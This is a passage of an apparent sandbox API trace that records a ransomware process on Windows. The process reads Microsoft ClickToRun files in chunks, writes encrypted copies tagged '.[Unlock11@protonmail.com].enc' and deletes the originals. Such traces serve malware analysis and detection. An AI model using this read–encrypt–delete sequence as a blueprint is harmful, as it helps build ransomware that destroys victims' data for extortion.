lpBuffer=0x35c04d4*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x35c04d4*, lpNumberOfBytesWritten=0x9b9a80*=0x4000, lpOverlapped=0x0) returned 1 [0117.997] GetCurrentThreadId () returned 0x9b0 [0117.997] GetLastError () returned 0x0 [0117.997] ReadFile (in: hFile=0x39c, lpBuffer=0x36fe05c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36fe05c*, lpNumberOfBytesRead=0x9bb520*=0x0, lpOverlapped=0x0) returned 1 [0117.998] GetCurrentThreadId () returned 0x9b0 [0117.998] GetLastError () returned 0x0 [0117.998] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0xb00, lpNumberOfBytesWritten=0x9b9a0c, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a0c*=0xb00, lpOverlapped=0x0) returned 1 [0117.998] CloseHandle (hObject=0x3ac) returned 1 [0117.998] GetCurrentThreadId () returned 0x9b0 [0117.998] GetLastError () returned 0x0 [0117.998] CloseHandle (hObject=0x39c) returned 1 [0117.999] GetCurrentThreadId () returned 0x9b0 [0117.999] GetLastError () returned 0x0 [0117.999] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 1 [0118.007] GetLastError () returned 0x0 [0118.007] GetCurrentThreadId () returned 0x9b0 [0118.007] GetLastError () returned 0x0 [0118.007] GetCurrentThreadId () returned 0x9b0 [0118.007] GetLastError () returned 0x0 [0118.007] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll", lpFilePart=0x9bada4*="AppVFileSystemMetadata.dll") returned 0x54 [0118.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0118.007] GetCurrentThreadId () returned 0x9b0 [0118.008] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll", lpFilePart=0x9bada4*="AppVIntegration.dll") returned 0x4d [0118.008] GetCurrentThreadId () returned 0x9b0 [0118.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0118.008] GetCurrentThreadId () returned 0x9b0 [0118.008] GetLastError () returned 0x0 [0118.008] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll", lpFilePart=0x9bada4*="AppVIsvApi.dll") returned 0x48 [0118.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0118.008] GetCurrentThreadId () returned 0x9b0 [0118.008] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll", lpFilePart=0x9bada4*="AppvIsvStream32.dll") returned 0x4d [0118.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0118.009] GetCurrentThreadId () returned 0x9b0 [0118.009] GetCurrentThreadId () returned 0x9b0 [0118.009] GetLastError () returned 0x0 [0118.009] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll", lpFilePart=0x9bada4*="AppvIsvStream64.dll") returned 0x4d [0118.009] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0118.009] GetCurrentThreadId () returned 0x9b0 [0118.009] GetLastError () returned 0x0 [0118.009] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll", lpFilePart=0x9bada4*="AppVIsvStreamingManager.dll") returned 0x55 [0118.009] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0118.009] GetCurrentThreadId () returned 0x9b0 [0118.010] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll", lpFilePart=0x9bada4*="AppVIsvSubsystemController.dll") returned 0x58 [0118.010] GetCurrentThreadId () returned 0x9b0 [0118.010] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0118.010] GetCurrentThreadId () returned 0x9b0 [0118.010] GetLastError () returned 0x0 [0118.010] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll", lpFilePart=0x9bada4*="AppvIsvSubsystems32.dll") returned 0x51 [0118.010] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0118.010] GetCurrentThreadId () returned 0x9b0 [0118.010] GetLastError () returned 0x0 [0118.010] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll", lpFilePart=0x9bada4*="AppvIsvSubsystems64.dll") returned 0x51 [0118.010] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0118.011] GetCurrentThreadId () returned 0x9b0 [0118.011] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll", lpFilePart=0x9bada4*="AppVIsvVirtualization.dll") returned 0x53 [0118.011] GetCurrentThreadId () returned 0x9b0 [0118.011] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0118.011] GetCurrentThreadId () returned 0x9b0 [0118.011] GetLastError () returned 0x0 [0118.011] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll", lpFilePart=0x9bada4*="AppVManifest.dll") returned 0x4a [0118.011] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0118.011] GetCurrentThreadId () returned 0x9b0 [0118.011] GetLastError () returned 0x0 [0118.012] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll", lpFilePart=0x9bada4*="AppVOrchestration.dll") returned 0x4f [0118.012] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0118.012] GetCurrentThreadId () returned 0x9b0 [0118.012] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll", lpFilePart=0x9bada4*="AppVPolicy.dll") returned 0x48 [0118.012] GetCurrentThreadId () returned 0x9b0 [0118.012] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0118.012] GetCurrentThreadId () returned 0x9b0 [0118.012] GetLastError () returned 0x0 [0118.012] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll", lpFilePart=0x9bada4*="AppVScripting.dll") returned 0x4b [0118.012] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0118.012] GetCurrentThreadId () returned 0x9b0 [0118.013] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe", lpFilePart=0x9bada4*="AppVShNotify.exe") returned 0x4a [0118.013] GetCurrentThreadId () returned 0x9b0 [0118.013] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0118.013] GetCurrentThreadId () returned 0x9b0 [0118.013] GetLastError () returned 0x0 [0118.013] GetCurrentThreadId () returned 0x9b0 [0118.013] GetCurrentThreadId () returned 0x9b0 [0118.013] GetLastError () returned 0x0 [0118.013] GetCurrentThreadId () returned 0x9b0 [0118.013] GetLastError () returned 0x0 [0118.014] GetCurrentThreadId () returned 0x9b0 [0118.014] GetLastError () returned 0x0 [0118.014] GetCurrentThreadId () returned 0x9b0 [0118.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8aa28 [0118.014] GetCurrentThreadId () returned 0x9b0 [0118.014] GetLastError () returned 0x0 [0118.014] GetCurrentThreadId () returned 0x9b0 [0118.014] GetLastError () returned 0x0 [0118.014] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x406d8)) returned 1 [0118.014] GetLastError () returned 0x0 [0118.014] GetCurrentThreadId () returned 0x9b0 [0118.015] GetLastError () returned 0x0 [0118.015] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a494 | out: pbBuffer=0x366a494) returned 1 [0118.015] GetCurrentThreadId () returned 0x9b0 [0118.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0118.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0118.015] GetCurrentThreadId () returned 0x9b0 [0118.015] GetLastError () returned 0x0 [0118.015] GetCurrentThreadId () returned 0x9b0 [0118.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea2a0 [0118.015] GetCurrentThreadId () returned 0x9b0 [0118.016] GetLastError () returned 0x0 [0118.016] GetCurrentThreadId () returned 0x9b0 [0118.016] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0118.016] GetFileType (hFile=0x39c) returned 0x1 [0118.016] GetCurrentThreadId () returned 0x9b0 [0118.016] GetLastError () returned 0x0 [0118.017] GetFileType (hFile=0x39c) returned 0x1 [0118.017] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0118.017] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.017] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.017] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.017] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.017] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.017] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.017] GetLastError () returned 0x0 [0118.017] GetCurrentThreadId () returned 0x9b0 [0118.017] GetLastError () returned 0x0 [0118.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265418 | out: hHeap=0x2ad0000) returned 1 [0118.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2880 | out: hHeap=0x2ad0000) returned 1 [0118.018] GetLastError () returned 0x0 [0118.018] GetLastError () returned 0x0 [0118.018] GetLastError () returned 0x0 [0118.018] GetLastError () returned 0x0 [0118.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0118.018] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265348 [0118.018] GetLastError () returned 0x0 [0118.018] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0118.019] GetFileType (hFile=0x3ac) returned 0x1 [0118.019] GetLastError () returned 0x0 [0118.019] GetCurrentThreadId () returned 0x9b0 [0118.019] GetLastError () returned 0x0 [0118.019] GetFileType (hFile=0x3ac) returned 0x1 [0118.019] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0118.019] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.019] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.019] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.019] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.019] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.019] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.020] GetLastError () returned 0x0 [0118.020] GetCurrentThreadId () returned 0x9b0 [0118.020] GetLastError () returned 0x0 [0118.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265348 | out: hHeap=0x2ad0000) returned 1 [0118.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0118.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0118.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0118.020] GetLastError () returned 0x0 [0118.020] GetLastError () returned 0x0 [0118.020] GetCurrentThreadId () returned 0x9b0 [0118.020] GetLastError () returned 0x0 [0118.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0118.021] GetLastError () returned 0x0 [0118.021] GetLastError () returned 0x0 [0118.021] GetCurrentThreadId () returned 0x9b0 [0118.021] GetLastError () returned 0x0 [0118.021] GetLastError () returned 0x0 [0118.021] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.023] GetLastError () returned 0x0 [0118.023] GetCurrentThreadId () returned 0x9b0 [0118.023] GetLastError () returned 0x0 [0118.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265388 | out: hHeap=0x2ad0000) returned 1 [0118.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.024] GetLastError () returned 0x0 [0118.024] GetLastError () returned 0x0 [0118.024] GetLastError () returned 0x0 [0118.024] GetLastError () returned 0x0 [0118.024] GetCurrentThreadId () returned 0x9b0 [0118.024] GetLastError () returned 0x0 [0118.024] GetCurrentThreadId () returned 0x9b0 [0118.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0118.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0118.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0118.025] GetLastError () returned 0x0 [0118.025] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc04b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc04b8*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.026] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.027] GetLastError () returned 0x0 [0118.027] GetCurrentThreadId () returned 0x9b0 [0118.027] GetLastError () returned 0x0 [0118.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.027] GetLastError () returned 0x0 [0118.028] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.028] GetLastError () returned 0x0 [0118.029] GetCurrentThreadId () returned 0x9b0 [0118.029] GetLastError () returned 0x0 [0118.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.029] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0118.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0118.029] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.029] GetLastError () returned 0x0 [0118.029] GetLastError () returned 0x0 [0118.030] GetLastError () returned 0x0 [0118.030] GetLastError () returned 0x0 [0118.030] GetCurrentThreadId () returned 0x9b0 [0118.030] GetLastError () returned 0x0 [0118.030] GetCurrentThreadId () returned 0x9b0 [0118.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.030] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0118.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0118.030] GetLastError () returned 0x0 [0118.030] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc04b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc04b8*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.031] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.032] GetLastError () returned 0x0 [0118.032] GetCurrentThreadId () returned 0x9b0 [0118.032] GetLastError () returned 0x0 [0118.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.032] GetLastError () returned 0x0 [0118.032] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.033] GetLastError () returned 0x0 [0118.033] GetCurrentThreadId () returned 0x9b0 [0118.034] GetLastError () returned 0x0 [0118.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.034] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265288 [0118.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0118.034] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.034] GetLastError () returned 0x0 [0118.035] GetLastError () returned 0x0 [0118.035] GetLastError () returned 0x0 [0118.035] GetLastError () returned 0x0 [0118.035] GetCurrentThreadId () returned 0x9b0 [0118.035] GetLastError () returned 0x0 [0118.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.035] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0118.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0118.035] GetLastError () returned 0x0 [0118.035] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc04b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc04b8*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.036] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.037] GetLastError () returned 0x0 [0118.037] GetCurrentThreadId () returned 0x9b0 [0118.037] GetLastError () returned 0x0 [0118.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.037] GetLastError () returned 0x0 [0118.037] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.038] GetCurrentThreadId () returned 0x9b0 [0118.038] GetCurrentThreadId () returned 0x9b0 [0118.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653f8 [0118.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0118.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.038] GetCurrentThreadId () returned 0x9b0 [0118.039] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc04b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc04b8*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.039] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.040] GetCurrentThreadId () returned 0x9b0 [0118.040] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x6d8, lpOverlapped=0x0) returned 1 [0118.040] ReadFile (in: hFile=0x39c, lpBuffer=0x35c5ff4, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c5ff4*, lpNumberOfBytesRead=0x9bb520*=0x0, lpOverlapped=0x0) returned 1 [0118.040] GetCurrentThreadId () returned 0x9b0 [0118.040] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x6ed) returned 0x35c5908 [0118.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.040] GetCurrentThreadId () returned 0x9b0 [0118.040] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x6f5) returned 0x35c5908 [0118.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652f8 [0118.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653f8 | out: hHeap=0x2ad0000) returned 1 [0118.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x6f8) returned 0x33ea820 [0118.041] GetCurrentThreadId () returned 0x9b0 [0118.041] GetCurrentThreadId () returned 0x9b0 [0118.041] ReadFile (in: hFile=0x39c, lpBuffer=0x35c601c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, 